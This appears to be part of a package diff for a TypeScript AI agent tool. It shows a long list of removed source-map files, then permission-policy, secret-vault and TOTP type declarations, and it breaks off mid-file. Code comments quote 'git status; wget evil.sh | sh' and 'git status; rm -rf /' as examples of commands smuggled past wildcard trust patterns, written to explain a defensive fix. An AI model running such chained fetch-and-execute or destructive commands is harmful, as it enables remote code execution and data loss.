  504. package/dist/observability/index.js.map +0 -7
  505. package/dist/observability/metrics.d.ts.map +0 -1
  506. package/dist/observability/network-telemetry.d.ts.map +0 -1
  507. package/dist/observability/otel-tracer.d.ts.map +0 -1
  508. package/dist/observability/otlp-metrics.d.ts.map +0 -1
  509. package/dist/observability/otlp-traces.d.ts.map +0 -1
  510. package/dist/observability/process-telemetry.d.ts.map +0 -1
  511. package/dist/observability/prometheus.d.ts.map +0 -1
  512. package/dist/observability/redact-command.d.ts.map +0 -1
  513. package/dist/observability/tracer.d.ts.map +0 -1
  514. package/dist/plugin/api.d.ts.map +0 -1
  515. package/dist/plugin/config.d.ts.map +0 -1
  516. package/dist/plugin/index.d.ts.map +0 -1
  517. package/dist/plugin/index.js.map +0 -7
  518. package/dist/plugin/loader.d.ts.map +0 -1
  519. package/dist/plugins/auto-review-plugin.d.ts.map +0 -1
  520. package/dist/plugins/chimera-plugin.d.ts.map +0 -1
  521. package/dist/plugins/prompts-plugin.d.ts.map +0 -1
  522. package/dist/plugins/review-claim-registry.d.ts.map +0 -1
  523. package/dist/plugins/review-context-builder.d.ts.map +0 -1
  524. package/dist/plugins/review-finding-commands.d.ts.map +0 -1
  525. package/dist/plugins/review-finding-integration.d.ts.map +0 -1
  526. package/dist/plugins/review-finding-parser.d.ts.map +0 -1
  527. package/dist/plugins/review-finding-store.d.ts.map +0 -1
  528. package/dist/plugins/review-finding-types.d.ts.map +0 -1
  529. package/dist/plugins/review-report-integration.d.ts.map +0 -1
  530. package/dist/plugins/review-report-store.d.ts.map +0 -1
  531. package/dist/plugins/review-report-types.d.ts.map +0 -1
  532. package/dist/plugins/review-types.d.ts.map +0 -1
  533. package/dist/plugins/skills-plugin.d.ts.map +0 -1
  534. package/dist/plugins/sync-plugin.d.ts.map +0 -1
  535. package/dist/prompts/index.d.ts.map +0 -1
  536. package/dist/prompts/prompt-installer.d.ts.map +0 -1
  537. package/dist/prompts/prompt-manifest-store.d.ts.map +0 -1
  538. package/dist/registry/index.d.ts.map +0 -1
  539. package/dist/registry/index.js.map +0 -7
  540. package/dist/registry/provider-registry.d.ts.map +0 -1
  541. package/dist/registry/slash-command-registry.d.ts.map +0 -1
  542. package/dist/registry/tool-registry.d.ts.map +0 -1
  543. package/dist/replay/hash.d.ts.map +0 -1
  544. package/dist/replay/index.d.ts.map +0 -1
  545. package/dist/replay/index.js.map +0 -7
  546. package/dist/replay/replay-provider-runner.d.ts.map +0 -1
  547. package/dist/security/capabilities.d.ts.map +0 -1
  548. package/dist/security/config-secrets.d.ts.map +0 -1
  549. package/dist/security/directory-permission-policy.d.ts.map +0 -1
  550. package/dist/security/directory-policy-schema.d.ts.map +0 -1
  551. package/dist/security/index.d.ts.map +0 -1
  552. package/dist/security/index.js.map +0 -7
  553. package/dist/security/kanban-boundary.d.ts.map +0 -1
  554. package/dist/security/permission-policy-schema.d.ts.map +0 -1
  555. package/dist/security/permission-policy.d.ts.map +0 -1
  556. package/dist/security/readonly-permission-policy.d.ts.map +0 -1
  557. package/dist/security/secret-scrubber.d.ts.map +0 -1
  558. package/dist/security/secret-vault.d.ts.map +0 -1
  559. package/dist/security/trust-boundary.d.ts.map +0 -1
  560. package/dist/security/yolo-risk.d.ts.map +0 -1
  561. package/dist/session-registry-atomic-file.d.ts.map +0 -1
  562. package/dist/session-registry-types.d.ts.map +0 -1
  563. package/dist/session-registry.d.ts.map +0 -1
  564. package/dist/skills/foreign-sources.d.ts.map +0 -1
  565. package/dist/skills/frontmatter.d.ts.map +0 -1
  566. package/dist/skills/github-fetcher.d.ts.map +0 -1
  567. package/dist/skills/index.d.ts.map +0 -1
  568. package/dist/skills/index.js.map +0 -7
  569. package/dist/skills/limits.d.ts.map +0 -1
  570. package/dist/skills/manifest-store.d.ts.map +0 -1
  571. package/dist/skills/registry/github-direct-adapter.d.ts.map +0 -1
  572. package/dist/skills/registry/registry-adapter.d.ts.map +0 -1
  573. package/dist/skills/registry/skills-sh-adapter.d.ts.map +0 -1
  574. package/dist/skills/skill-generator.d.ts.map +0 -1
  575. package/dist/skills/skill-installer.d.ts.map +0 -1
  576. package/dist/storage/annotations-store.d.ts.map +0 -1
  577. package/dist/storage/attachment-store.d.ts.map +0 -1
  578. package/dist/storage/cloud-sync.d.ts.map +0 -1
  579. package/dist/storage/completed-work-checkpoint.d.ts.map +0 -1
  580. package/dist/storage/config-loader/bootstrap.d.ts.map +0 -1
  581. package/dist/storage/config-loader/default-repair.d.ts.map +0 -1
  582. package/dist/storage/config-loader/defaults.d.ts.map +0 -1
  583. package/dist/storage/config-loader/diagnostics.d.ts.map +0 -1
  584. package/dist/storage/config-loader/env-overrides.d.ts.map +0 -1
  585. package/dist/storage/config-loader/in-project-policy.d.ts.map +0 -1
  586. package/dist/storage/config-loader/inline-provider-models.d.ts.map +0 -1
  587. package/dist/storage/config-loader/legacy-sage-migration.d.ts.map +0 -1
  588. package/dist/storage/config-loader/path-identity.d.ts.map +0 -1
  589. package/dist/storage/config-loader/types.d.ts.map +0 -1
  590. package/dist/storage/config-loader/validation.d.ts.map +0 -1
  591. package/dist/storage/config-loader.d.ts.map +0 -1
  592. package/dist/storage/config-migration.d.ts.map +0 -1
  593. package/dist/storage/config-store.d.ts.map +0 -1
  594. package/dist/storage/director-state.d.ts.map +0 -1
  595. package/dist/storage/file-session-writer.d.ts.map +0 -1
  596. package/dist/storage/goal-coordination.d.ts.map +0 -1
  597. package/dist/storage/goal-kanban.d.ts.map +0 -1
  598. package/dist/storage/goal-store.d.ts.map +0 -1
  599. package/dist/storage/index.d.ts.map +0 -1
  600. package/dist/storage/index.js.map +0 -7
  601. package/dist/storage/input-history-store.d.ts.map +0 -1
  602. package/dist/storage/memory-backend.d.ts.map +0 -1
  603. package/dist/storage/memory-consolidator.d.ts.map +0 -1
  604. package/dist/storage/memory-graph-backend.d.ts.map +0 -1
  605. package/dist/storage/plan-store.d.ts.map +0 -1
  606. package/dist/storage/plan-templates.d.ts.map +0 -1
  607. package/dist/storage/prompt-store.d.ts.map +0 -1
  608. package/dist/storage/prompt-usage-store.d.ts.map +0 -1
  609. package/dist/storage/provider-config-watcher.d.ts.map +0 -1
  610. package/dist/storage/queue-store.d.ts.map +0 -1
  611. package/dist/storage/recovery-lock.d.ts.map +0 -1
  612. package/dist/storage/replay-log-store.d.ts.map +0 -1
  613. package/dist/storage/session-analyzer.d.ts.map +0 -1
  614. package/dist/storage/session-checkpoint-cas.d.ts.map +0 -1
  615. package/dist/storage/session-event-bridge.d.ts.map +0 -1
  616. package/dist/storage/session-helpers.d.ts.map +0 -1
  617. package/dist/storage/session-id-resolver.d.ts.map +0 -1
  618. package/dist/storage/session-id.d.ts.map +0 -1
  619. package/dist/storage/session-read-scrubber.d.ts.map +0 -1
  620. package/dist/storage/session-reader.d.ts.map +0 -1
  621. package/dist/storage/session-recovery.d.ts.map +0 -1
  622. package/dist/storage/session-resume-validation.d.ts.map +0 -1
  623. package/dist/storage/session-rewind-apply.d.ts.map +0 -1
  624. package/dist/storage/session-rewinder.d.ts.map +0 -1
  625. package/dist/storage/session-store/delete-session-artifacts.d.ts.map +0 -1
  626. package/dist/storage/session-store/delete-session-guards.d.ts.map +0 -1
  627. package/dist/storage/session-store/directory-scan.d.ts.map +0 -1
  628. package/dist/storage/session-store/directory-session-files.d.ts.map +0 -1
  629. package/dist/storage/session-store/events.d.ts.map +0 -1
  630. package/dist/storage/session-store/fork-session.d.ts.map +0 -1
  631. package/dist/storage/session-store/index-reader.d.ts.map +0 -1
  632. package/dist/storage/session-store/load-cache.d.ts.map +0 -1
  633. package/dist/storage/session-store/load-session-data.d.ts.map +0 -1
  634. package/dist/storage/session-store/paths.d.ts.map +0 -1
  635. package/dist/storage/session-store/prune-helpers.d.ts.map +0 -1
  636. package/dist/storage/session-store/replay.d.ts.map +0 -1
  637. package/dist/storage/session-store/search-events.d.ts.map +0 -1
  638. package/dist/storage/session-store/shard-manifest.d.ts.map +0 -1
  639. package/dist/storage/session-store/summary-builder.d.ts.map +0 -1
  640. package/dist/storage/session-store/summary-header.d.ts.map +0 -1
  641. package/dist/storage/session-store/types.d.ts.map +0 -1
  642. package/dist/storage/session-store.d.ts.map +0 -1
  643. package/dist/storage/session-summary.d.ts.map +0 -1
  644. package/dist/storage/session-tool-call-ends.d.ts.map +0 -1
  645. package/dist/storage/session-writer-scrubber.d.ts.map +0 -1
  646. package/dist/storage/session-writer-truncate.d.ts.map +0 -1
  647. package/dist/storage/storage-concurrency.d.ts.map +0 -1
  648. package/dist/storage/task-store.d.ts.map +0 -1
  649. package/dist/storage/todos-checkpoint.d.ts.map +0 -1
  650. package/dist/storage/tool-audit-log.d.ts.map +0 -1
  651. package/dist/tasking/index.d.ts.map +0 -1
  652. package/dist/tasking/index.js.map +0 -7
  653. package/dist/tasking/task-store.d.ts.map +0 -1
  654. package/dist/tasking/task-tracker.d.ts.map +0 -1
  655. package/dist/tools/council-tool.d.ts.map +0 -1
  656. package/dist/tools/fallback-chain-manage-tool.d.ts.map +0 -1
  657. package/dist/tools/fallback-favorite-manage-tool.d.ts.map +0 -1
  658. package/dist/tools/fallback-manage-helpers.d.ts.map +0 -1
  659. package/dist/tools/fallback-manage-tool-options.d.ts.map +0 -1
  660. package/dist/tools/fallback-manage-tools.d.ts.map +0 -1
  661. package/dist/tools/fallback-model-ref-parse.d.ts.map +0 -1
  662. package/dist/tools/fallback-provider-key-store.d.ts.map +0 -1
  663. package/dist/tools/fallback-system-config-view-tool.d.ts.map +0 -1
  664. package/dist/tools/index.d.ts.map +0 -1
  665. package/dist/tools/index.js.map +0 -7
  666. package/dist/tools/mcp-control.d.ts.map +0 -1
  667. package/dist/tools/mcp-use.d.ts.map +0 -1
  668. package/dist/tools/one-shot-llm-tool.d.ts.map +0 -1
  669. package/dist/tools/plugin-manager.d.ts.map +0 -1
  670. package/dist/types/agent-bridge.d.ts.map +0 -1
  671. package/dist/types/attachment.d.ts.map +0 -1
  672. package/dist/types/autonomy.d.ts.map +0 -1
  673. package/dist/types/blocks.d.ts.map +0 -1
  674. package/dist/types/compactor.d.ts.map +0 -1
  675. package/dist/types/config/autonomy.d.ts.map +0 -1
  676. package/dist/types/config/context.d.ts.map +0 -1
  677. package/dist/types/config/fleet-chat.d.ts.map +0 -1
  678. package/dist/types/config/mcp-features.d.ts.map +0 -1
  679. package/dist/types/config/providers.d.ts.map +0 -1
  680. package/dist/types/config/root.d.ts.map +0 -1
  681. package/dist/types/config/runtime.d.ts.map +0 -1
  682. package/dist/types/config/skills-fleet-brain.d.ts.map +0 -1
  683. package/dist/types/config/tools.d.ts.map +0 -1
  684. package/dist/types/config.d.ts.map +0 -1
  685. package/dist/types/context-evidence.d.ts.map +0 -1
  686. package/dist/types/context-window.d.ts.map +0 -1
  687. package/dist/types/council.d.ts.map +0 -1
  688. package/dist/types/default-config.d.ts.map +0 -1
  689. package/dist/types/design-kit.d.ts.map +0 -1
  690. package/dist/types/error-handler.d.ts.map +0 -1
  691. package/dist/types/errors.d.ts.map +0 -1
  692. package/dist/types/file-event-record.d.ts.map +0 -1
  693. package/dist/types/hooks.d.ts.map +0 -1
  694. package/dist/types/index.d.ts.map +0 -1
  695. package/dist/types/index.js.map +0 -7
  696. package/dist/types/input-reader.d.ts.map +0 -1
  697. package/dist/types/logger.d.ts.map +0 -1
  698. package/dist/types/memory.d.ts.map +0 -1
  699. package/dist/types/messages.d.ts.map +0 -1
  700. package/dist/types/mode-prompts.d.ts.map +0 -1
  701. package/dist/types/mode.d.ts.map +0 -1
  702. package/dist/types/models-registry.d.ts.map +0 -1
  703. package/dist/types/multi-agent.d.ts.map +0 -1
  704. package/dist/types/observability.d.ts.map +0 -1
  705. package/dist/types/one-shot-llm.d.ts.map +0 -1
  706. package/dist/types/path-resolver.d.ts.map +0 -1
  707. package/dist/types/permission.d.ts.map +0 -1
  708. package/dist/types/plugin.d.ts.map +0 -1
  709. package/dist/types/prompt-registry.d.ts.map +0 -1
  710. package/dist/types/prompt.d.ts.map +0 -1
  711. package/dist/types/provider-runner.d.ts.map +0 -1
  712. package/dist/types/provider.d.ts.map +0 -1
  713. package/dist/types/quota-regex.d.ts.map +0 -1
  714. package/dist/types/renderer.d.ts.map +0 -1
  715. package/dist/types/retry-policy.d.ts.map +0 -1
  716. package/dist/types/secret-scrubber.d.ts.map +0 -1
  717. package/dist/types/secret-vault.d.ts.map +0 -1
  718. package/dist/types/selector.d.ts.map +0 -1
  719. package/dist/types/session-markers.d.ts.map +0 -1
  720. package/dist/types/session-markers.js.map +0 -7
  721. package/dist/types/session-reader.d.ts.map +0 -1
  722. package/dist/types/session-rewinder.d.ts.map +0 -1
  723. package/dist/types/session.d.ts.map +0 -1
  724. package/dist/types/side-effect.d.ts.map +0 -1
  725. package/dist/types/skill.d.ts.map +0 -1
  726. package/dist/types/slash-command.d.ts.map +0 -1
  727. package/dist/types/spec.d.ts.map +0 -1
  728. package/dist/types/system-prompt-contributor.d.ts.map +0 -1
  729. package/dist/types/system-prompt.d.ts.map +0 -1
  730. package/dist/types/task-graph.d.ts.map +0 -1
  731. package/dist/types/token-counter.d.ts.map +0 -1
  732. package/dist/types/tool-executor.d.ts.map +0 -1
  733. package/dist/types/tool-markers.d.ts.map +0 -1
  734. package/dist/types/tool.d.ts.map +0 -1
  735. package/dist/types/utility-types.d.ts.map +0 -1
  736. package/dist/utils/assert-never.d.ts.map +0 -1
  737. package/dist/utils/atomic-write.d.ts.map +0 -1
  738. package/dist/utils/cache-key.d.ts.map +0 -1
  739. package/dist/utils/child-env.d.ts.map +0 -1
  740. package/dist/utils/color.d.ts.map +0 -1
  741. package/dist/utils/compaction-preview.d.ts.map +0 -1
  742. package/dist/utils/config-backup.d.ts.map +0 -1
  743. package/dist/utils/config-json.d.ts.map +0 -1
  744. package/dist/utils/connectivity.d.ts.map +0 -1
  745. package/dist/utils/context-breakdown.d.ts.map +0 -1
  746. package/dist/utils/context-evidence.d.ts.map +0 -1
  747. package/dist/utils/continuous-memory-profiler.d.ts.map +0 -1
  748. package/dist/utils/crash-shield.d.ts.map +0 -1
  749. package/dist/utils/deep-merge.d.ts.map +0 -1
  750. package/dist/utils/diff.d.ts.map +0 -1
  751. package/dist/utils/error.d.ts.map +0 -1
  752. package/dist/utils/error.js.map +0 -7
  753. package/dist/utils/expect-defined.d.ts.map +0 -1
  754. package/dist/utils/expect-defined.js.map +0 -7
  755. package/dist/utils/glob-expand.d.ts.map +0 -1
  756. package/dist/utils/glob-match.d.ts.map +0 -1
  757. package/dist/utils/heap-watchdog-types.d.ts.map +0 -1
  758. package/dist/utils/heap-watchdog.d.ts.map +0 -1
  759. package/dist/utils/heap-watchdog.js.map +0 -7
  760. package/dist/utils/incoming-images.d.ts.map +0 -1
  761. package/dist/utils/index.d.ts.map +0 -1
  762. package/dist/utils/index.js.map +0 -7
  763. package/dist/utils/instruction-file.d.ts.map +0 -1
  764. package/dist/utils/ip-guard.d.ts.map +0 -1
  765. package/dist/utils/json-repair.d.ts.map +0 -1
  766. package/dist/utils/json-schema-validate.d.ts.map +0 -1
  767. package/dist/utils/lru-cache.d.ts.map +0 -1
  768. package/dist/utils/memory-flight-recorder.d.ts.map +0 -1
  769. package/dist/utils/merge-custom-models.d.ts.map +0 -1
  770. package/dist/utils/merge-models-payload.d.ts.map +0 -1
  771. package/dist/utils/message-invariants.d.ts.map +0 -1
  772. package/dist/utils/newline-normalize.d.ts.map +0 -1
  773. package/dist/utils/perf-profile.d.ts.map +0 -1
  774. package/dist/utils/pid.d.ts.map +0 -1
  775. package/dist/utils/project-identity.d.ts.map +0 -1
  776. package/dist/utils/project-watch.d.ts.map +0 -1
  777. package/dist/utils/regex-guard.d.ts.map +0 -1
  778. package/dist/utils/safe-json.d.ts.map +0 -1
  779. package/dist/utils/sage-output-block.d.ts.map +0 -1
  780. package/dist/utils/session-scoped-path.d.ts.map +0 -1
  781. package/dist/utils/sleep.d.ts.map +0 -1
  782. package/dist/utils/slug.d.ts.map +0 -1
  783. package/dist/utils/socket-path.d.ts.map +0 -1
  784. package/dist/utils/sqlite-warning.d.ts.map +0 -1
  785. package/dist/utils/string.d.ts.map +0 -1
  786. package/dist/utils/task-format.d.ts.map +0 -1
  787. package/dist/utils/term.d.ts.map +0 -1
  788. package/dist/utils/todos-format.d.ts.map +0 -1
  789. package/dist/utils/token-estimate.d.ts.map +0 -1
  790. package/dist/utils/tool-description-mode.d.ts.map +0 -1
  791. package/dist/utils/tool-name.d.ts.map +0 -1
  792. package/dist/utils/tool-output-serializer.d.ts.map +0 -1
  793. package/dist/utils/tool-result-render-mode.d.ts.map +0 -1
  794. package/dist/utils/tool-subject.d.ts.map +0 -1
  795. package/dist/utils/tool-wire-compact.d.ts.map +0 -1
  796. package/dist/utils/tree-kill.d.ts.map +0 -1
  797. package/dist/utils/tree-kill.js.map +0 -7
  798. package/dist/utils/ulid.d.ts.map +0 -1
  799. package/dist/utils/walk-ignore.d.ts.map +0 -1
  800. package/dist/utils/wstack-paths.d.ts.map +0 -1
  801. package/dist/worktree/index.d.ts.map +0 -1
  802. package/dist/worktree/index.js.map +0 -7
  803. package/dist/worktree/worktree-git.d.ts.map +0 -1
  804. package/dist/worktree/worktree-managed-ops.d.ts.map +0 -1
  805. package/dist/worktree/worktree-manager.d.ts.map +0 -1
  806. package/dist/worktree/worktree-types.d.ts.map +0 -1
@@ -0,0 +1,93 @@
1
+ /**
2
+ * Pure helpers for permission policy evaluation — trust-pattern matching,
3
+ * tool fingerprinting, and sensitive-read detection.
4
+ *
5
+ * Extracted from permission-policy.ts. No class state, no I/O.
6
+ */
7
+ import type { Tool } from '../types/tool.js';
8
+ /**
9
+ * Match a computed subject against stored trust patterns.
10
+ *
11
+ * Exact string equality is checked FIRST, before glob compilation. Subjects are
12
+ * glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
13
+ * \]`), and a stored "always"-trust pattern is just a prior subject — so for an
14
+ * identical command the pattern and the subject are byte-for-byte equal. The
15
+ * glob matcher alone could not confirm that: `compileGlob` does not treat a
16
+ * backslash as an escape outside character classes, so an escaped `\[`/`\]` is
17
+ * parsed as a character-class delimiter and a command like `[ -f x ]` or
18
+ * `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
19
+ * even after the user chose "always" (#15). Exact equality is also strictly
20
+ * tighter than a glob, so this never widens what a pattern authorizes; genuine
21
+ * wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
22
+ */
23
+ export declare function matchesTrust(patterns: string[], subject: string): boolean;
24
+ /**
25
+ * Match a trust pattern against a shell command line, for ALLOW decisions only
26
+ * (WS-047).
27
+ *
28
+ * `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
29
+ * path that is right; on a command it means a user who wrote `git *` also
30
+ * authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
31
+ * wildcard at shell separators, so the pattern authorizes what it appears to.
32
+ *
33
+ * DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
34
+ * narrowing a deny pattern un-blocks whatever falls outside it: a deny of
35
+ * `git *` must keep matching `git status; rm -rf /`, because the user's intent
36
+ * there is "no git-shaped command gets through", not "only well-formed ones".
37
+ * Narrower is safer for allow and more dangerous for deny — hence two call
38
+ * sites with two matchers rather than one shared helper that picks.
39
+ *
40
+ * Exact equality is kept first for the same reason as `matchesTrust`: a stored
41
+ * "always" pattern is a prior subject, and glob-escaped brackets do not
42
+ * round-trip through the compiler (#15).
43
+ */
44
+ export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
45
+ /**
46
+ * True when this tool's permission subject is a shell command line rather than
47
+ * a path, url, or name — i.e. when the stricter wildcard rules apply.
48
+ */
49
+ export declare function hasShellSubject(tool: Tool): boolean;
50
+ /**
51
+ * Reason a persistent "always allow" cannot be recorded for this call, or
52
+ * `undefined` when it can (WS-046).
53
+ *
54
+ * A stored trust pattern is only ever consulted as
55
+ * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
56
+ * produces no subject, that condition can never be true — so `trust()` with the
57
+ * fallback `pattern: tool.name` writes an entry that is dead on arrival.
58
+ *
59
+ * The user experience of that bug is the damaging part. They pick "always
60
+ * allow", are asked again on the very next identical call, conclude the feature
61
+ * is broken, and reach for the one thing that does work: a blanket
62
+ * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
63
+ * actively trains people into the widest possible grant.
64
+ *
65
+ * So the option is refused with a stated reason instead of accepted and
66
+ * discarded. Exported so a UI can hide the choice rather than offer one that
67
+ * cannot be honoured.
68
+ */
69
+ export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
70
+ /**
71
+ * Fingerprint of the tool fields a permission decision actually depends on
72
+ * (WS-058).
73
+ *
74
+ * The eval cache was keyed on tool NAME plus subject, so a cached verdict
75
+ * outlived the tool definition it was computed from. `ToolRegistry.wrap()`
76
+ * replaces a tool in place and is reachable from the plugin API, so a tool
77
+ * tightened to `permission: 'deny'` mid-session would keep being served the
78
+ * `auto` decided under its previous definition. The cache check also runs
79
+ * BEFORE the tool-default-deny branch, so nothing downstream re-checked.
80
+ *
81
+ * Including these fields in the key means a redefined tool misses the cache
82
+ * and is re-evaluated, rather than inheriting a verdict that no longer
83
+ * describes it. Capabilities are included because the dangerous-capability
84
+ * branches read them; they are short, sorted lists. The tuple is
85
+ * JSON-serialized so separators inside a field value (e.g. a `,` or `|`
86
+ * in a capability string) cannot collide with the delimiters between
87
+ * fields.
88
+ */
89
+ export declare function permissionFingerprint(tool: Tool): string;
90
+ export declare function shellCommandLineFromInput(input: unknown): string | undefined;
91
+ export declare function inputPathLooksSensitive(input: unknown): boolean;
92
+ export declare function shellCommandReadsSensitivePath(command: string): boolean;
93
+ //# sourceMappingURL=permission-helpers.d.ts.map
@@ -3,9 +3,17 @@ import type { InputReader } from '../types/input-reader.js';
3
3
  import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
4
4
  import type { Tool } from '../types/tool.js';
5
5
  import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
6
+ export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
7
+ export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
6
8
  export interface PermissionPolicyOptions {
7
9
  trustFile: string;
8
10
  yolo?: boolean | undefined;
11
+ /**
12
+ * Let YOLO auto-approve destructive shell commands too. Off by default: with
13
+ * YOLO on, `rm -rf`, git history rewrites and external publishes still ask
14
+ * (WS-008).
15
+ */
16
+ yoloDestructive?: boolean | undefined;
9
17
  promptDelegate?: (tool: Tool, input: unknown, suggestedPattern: string) => Promise<'yes' | 'no' | 'always' | 'deny'>;
10
18
  inputReader?: InputReader | undefined;
11
19
  }
@@ -45,9 +53,13 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
45
53
  /** Pre-compiled wildcard patterns — rebuilt on reload for O(1) lookup. */
46
54
  private wildcardEntries;
47
55
  /**
48
- * Evaluate-result cache. Keyed by `tool.name::subject` so repeated calls
49
- * with the same tool+input skip namespace matching, subject computation,
50
- * and pattern matching (matchAny).
56
+ * Evaluate-result cache. Keyed by `tool.name::subject::permissionFingerprint`
57
+ * so repeated calls with the same tool+input skip namespace matching,
58
+ * subject computation, and pattern matching (matchAny). The fingerprint
59
+ * suffix covers the `Tool` fields `evaluate()` reads (`permission`,
60
+ * `riskTier`, `mutating`, `capabilities`), so a tool redefined via
61
+ * `ToolRegistry.wrap()` misses the cache instead of inheriting a stale
62
+ * verdict.
51
63
  *
52
64
  * Cleared on any state change (reload, trust, deny, yolo toggle) because
53
65
  * the result depends on the full policy state. The write-tool smart-bypass
@@ -63,7 +75,29 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
63
75
  private _evalCache;
64
76
  private policyDiagnostics;
65
77
  private policyInvalid;
78
+ /**
79
+ * When true, YOLO also auto-approves clearly destructive shell commands.
80
+ *
81
+ * WS-008: `isClearlyDestructiveBashCommand` was exported and heavily tested
82
+ * but called from zero production modules, so YOLO returned `auto` for
83
+ * everything — including `rm -rf`, git history rewrites, and external
84
+ * publishes. The `'yolo_destructive'` decision source, the getter/setter on
85
+ * PermissionPolicy, and the TUI branch that reads it all existed; only the
86
+ * gate itself was missing. Defaults to false: destructive commands still ask,
87
+ * even in YOLO.
88
+ */
89
+ private yoloDestructive;
66
90
  constructor(opts: PermissionPolicyOptions);
91
+ /** Allow YOLO to cover destructive shell commands too (off by default). */
92
+ setYoloDestructive(enabled: boolean): void;
93
+ /** Whether YOLO currently extends to destructive shell commands. */
94
+ getYoloDestructive(): boolean;
95
+ /**
96
+ * True when YOLO is on but this specific call is a destructive shell command
97
+ * the user has not opted to auto-approve. Shared by `evaluate()` and the
98
+ * explain/trace path so the two cannot drift.
99
+ */
100
+ private yoloBlockedAsDestructive;
67
101
  /**
68
102
  * Replace (or clear) the interactive prompt delegate at runtime.
69
103
  * Used by the CLI to switch from inline prompts (REPL) to event-driven
@@ -108,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
108
142
  explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
109
143
  private findNamespaceEntry;
110
144
  }
111
- /**
112
- * Auto-approving PermissionPolicy used for subagents. Subagents run
113
- * non-interactively under a director — they cannot answer permission
114
- * prompts, so a non-YOLO policy on the leader would silently hang the
115
- * delegated run on the first sensitive tool call. The user already
116
- * authorized the delegation when they invoked the leader; subagents
117
- * inherit that authorization automatically.
118
- *
119
- * Tool defaults of `permission: 'deny'` are still honored (this is a
120
- * subagent capability override, not a deny-bypass).
121
- *
122
- * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
123
- * (capability allowlist / denylist model). The legacy name-based DENY set
124
- * is kept only for backward compatibility with tools that have not yet
125
- * declared capabilities.
126
- *
127
- * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
128
- * allowed capabilities are auto-approved. Everything else is denied.
129
- * Default allowed: fs.read, net.outbound (read-only, safe operations).
130
- */
131
- export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
132
- private readonly allowedCapabilities;
133
- constructor(allowedCapabilities?: readonly string[]);
134
- private static isMcpTool;
135
- evaluate(tool: Tool): Promise<PermissionDecision>;
136
- trust(): Promise<void>;
137
- deny(): Promise<void>;
138
- denyOnce(): void;
139
- allowOnce(): void;
140
- explain(tool: Tool): Promise<PermissionTrace>;
141
- reload(): Promise<void>;
142
- }
143
145
  //# sourceMappingURL=permission-policy.d.ts.map
@@ -24,6 +24,14 @@ export declare class DefaultSecretVault implements RotatableSecretVault {
24
24
  private readonly logger;
25
25
  private key?;
26
26
  private _keyVersion;
27
+ /**
28
+ * Pending key-file hardening promises (Windows ACL restrictions via icacls).
29
+ * Tracked so async callers can `flushHardening()` before returning, ensuring
30
+ * a short-lived CLI process does not exit before the hardening resolves.
31
+ * Sync-only callers (encrypt/decrypt lazy-load) leave these pending —
32
+ * hardening remains best-effort in that case.
33
+ */
34
+ private pendingHardening;
27
35
  constructor(opts: SecretVaultOptions);
28
36
  /**
29
37
  * Emit a structured warning. Uses the configured Logger when available;
@@ -31,6 +39,15 @@ export declare class DefaultSecretVault implements RotatableSecretVault {
31
39
  * during early boot.
32
40
  */
33
41
  private logWarn;
42
+ /**
43
+ * Schedule best-effort key-file hardening and track the promise so async
44
+ * callers can await it via `flushHardening()` before returning. Rejections
45
+ * are swallowed here (the helper already warns on failure) so a rejection
46
+ * can never become an unhandled one.
47
+ */
48
+ private scheduleKeyHardening;
49
+ /** Flush all pending key-file hardening promises. */
50
+ flushHardening(): Promise<void>;
34
51
  /** Current key version. Starts at 1; incremented by rotateKey(). */
35
52
  get keyVersion(): number;
36
53
  isEncrypted(value: string): boolean;
@@ -0,0 +1,86 @@
1
+ /**
2
+ * RFC 6238 TOTP (Time-Based One-Time Password) implementation.
3
+ *
4
+ * Zero external dependencies — uses `node:crypto` for HMAC-SHA1 and
5
+ * implements RFC 4648 base32 encoding/decoding inline.
6
+ *
7
+ * Used by the HQ 2FA system to generate and verify authenticator codes.
8
+ * The TOTP secret is stored vault-encrypted in `auth.json`; this module
9
+ * deals only with the cryptographic primitives, not persistence.
10
+ *
11
+ * @module security/totp
12
+ */
13
+ /**
14
+ * RFC 4648 base32 encode (no padding). Used to encode TOTP secrets for
15
+ * authenticator apps (Google Authenticator, Authy, 1Password, etc.).
16
+ */
17
+ export declare function base32Encode(buffer: Buffer): string;
18
+ /**
19
+ * RFC 4648 base32 decode. Tolerates whitespace and lowercase input
20
+ * (authenticator apps sometimes normalize). Throws on truly invalid chars.
21
+ */
22
+ export declare function base32Decode(input: string): Buffer;
23
+ /**
24
+ * Generate a random TOTP secret (20 bytes of entropy → 32 base32 chars).
25
+ * This is the recommended secret length per RFC 6238 §5.1.
26
+ */
27
+ export declare function generateTotpSecret(byteLength?: number): string;
28
+ /**
29
+ * HOTP (RFC 4226) core: compute a single OTP from a counter value.
30
+ */
31
+ export declare function hotp(secret: Buffer, counter: number, digits?: number): string;
32
+ /**
33
+ * Compute the TOTP counter for a given timestamp.
34
+ * T = floor(unixSeconds / stepSeconds)
35
+ */
36
+ export declare function totpCounter(unixSeconds: number, stepSeconds?: number): number;
37
+ /**
38
+ * Generate a TOTP code for the current time.
39
+ *
40
+ * @param secretBase32 - base32-encoded secret (from `generateTotpSecret`)
41
+ * @param atMs - epoch milliseconds; defaults to `Date.now()`. Exposed for tests.
42
+ * @param stepSeconds - time step in seconds; defaults to 30 (RFC 6238 default).
43
+ * @param digits - number of digits in the code; defaults to 6.
44
+ */
45
